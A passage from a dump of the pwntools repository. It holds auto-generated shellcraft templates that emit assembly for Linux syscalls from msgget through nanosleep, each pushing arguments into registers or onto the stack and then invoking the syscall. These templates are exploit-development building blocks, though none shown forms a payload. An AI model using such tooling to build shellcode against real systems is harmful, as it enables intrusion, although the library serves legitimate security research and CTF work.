or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_msgget']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_msgget'])\n%>\n    /* msgget(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/msgrcv.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>msgrcv(msqid, msgp, msgsz, msgtyp, msgflg) -> str\n\nInvokes the syscall msgrcv.\n\nSee 'man 2 msgrcv' for more information.\n\nArguments:\n    msqid(int): msqid\n    msgp(void*): msgp\n    msgsz(size_t): msgsz\n    msgtyp(long): msgtyp\n    msgflg(int): msgflg\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"msqid=0, msgp=0, msgsz=0, msgtyp=0, msgflg=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['msgp']\n    can_pushstr_array = []\n\n    argument_names = ['msqid', 'msgp', 'msgsz', 'msgtyp', 'msgflg']\n    argument_values = [msqid, msgp, msgsz, msgtyp, msgflg]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_msgrcv']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_msgrcv'])\n%>\n    /* msgrcv(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/msgsnd.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>msgsnd(msqid, msgp, msgsz, msgflg) -> str\n\nInvokes the syscall msgsnd.\n\nSee 'man 2 msgsnd' for more information.\n\nArguments:\n    msqid(int): msqid\n    msgp(void*): msgp\n    msgsz(size_t): msgsz\n    msgflg(int): msgflg\nReturns:\n    int\n</%docstring>\n<%page args=\"msqid=0, msgp=0, msgsz=0, msgflg=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['msgp']\n    can_pushstr_array = []\n\n    argument_names = ['msqid', 'msgp', 'msgsz', 'msgflg']\n    argument_values = [msqid, msgp, msgsz, msgflg]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_msgsnd']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_msgsnd'])\n%>\n    /* msgsnd(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/msync.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>msync(addr, length, flags) -> str\n\nInvokes the syscall msync.\n\nSee 'man 2 msync' for more information.\n\nArguments:\n    addr(void*): addr\n    length(size_t): length\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"addr=0, length=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['addr']\n    can_pushstr_array = []\n\n    argument_names = ['addr', 'length', 'flags']\n    argument_values = [addr, length, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_msync']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_msync'])\n%>\n    /* msync(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/multiplexer.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>multiplexer(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall multiplexer.\n\nSee 'man 2 multiplexer' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_multiplexer']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_multiplexer'])\n%>\n    /* multiplexer(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/munlock.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>munlock(addr, length) -> str\n\nInvokes the syscall munlock.\n\nSee 'man 2 munlock' for more information.\n\nArguments:\n    addr(void*): addr\n    length(size_t): length\nReturns:\n    int\n</%docstring>\n<%page args=\"addr=0, length=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['addr']\n    can_pushstr_array = []\n\n    argument_names = ['addr', 'length']\n    argument_values = [addr, length]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_munlock']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_munlock'])\n%>\n    /* munlock(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/munlockall.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>munlockall() -> str\n\nInvokes the syscall munlockall.\n\nSee 'man 2 munlockall' for more information.\n\nArguments:\n\nReturns:\n    int\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_munlockall']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_munlockall'])\n%>\n    /* munlockall(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/munmap.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>munmap(addr, length) -> str\n\nInvokes the syscall munmap.\n\nSee 'man 2 munmap' for more information.\n\nArguments:\n    addr(void*): addr\n    length(size_t): length\nReturns:\n    int\n</%docstring>\n<%page args=\"addr=0, length=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['addr']\n    can_pushstr_array = []\n\n    argument_names = ['addr', 'length']\n    argument_values = [addr, length]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_munmap']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_munmap'])\n%>\n    /* munmap(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/name_to_handle_at.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>name_to_handle_at(dfd, name, handle, mnt_id, flags) -> str\n\nInvokes the syscall name_to_handle_at.\n\nSee 'man 2 name_to_handle_at' for more information.\n\nArguments:\n    dfd(int): dfd\n    name(char*): name\n    handle(file_handle*): handle\n    mnt_id(int*): mnt_id\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"dfd=0, name=0, handle=0, mnt_id=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['name']\n    can_pushstr_array = []\n\n    argument_names = ['dfd', 'name', 'handle', 'mnt_id', 'flags']\n    argument_values = [dfd, name, handle, mnt_id, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_name_to_handle_at']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_name_to_handle_at'])\n%>\n    /* name_to_handle_at(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/nanosleep.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>nanosleep(requested_time, remaining) -> str\n\nInvokes the syscall nanosleep.\n\nSee 'man 2 nanosleep' for more information.\n\nArguments:\n    requested_time(timespec*): requested_time\n    remaining(timespec*): remaining\nReturns:\n    int\n</%docstring>\n<%page args=\"requested_time=0, remaining=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['requested_time', 'remaining']\n    argument_values = [requested_time, remaining]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_nanosleep']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_nanosleep'])\n%>\n    /* nanosleep(${', '.join(syscall_repr)}) 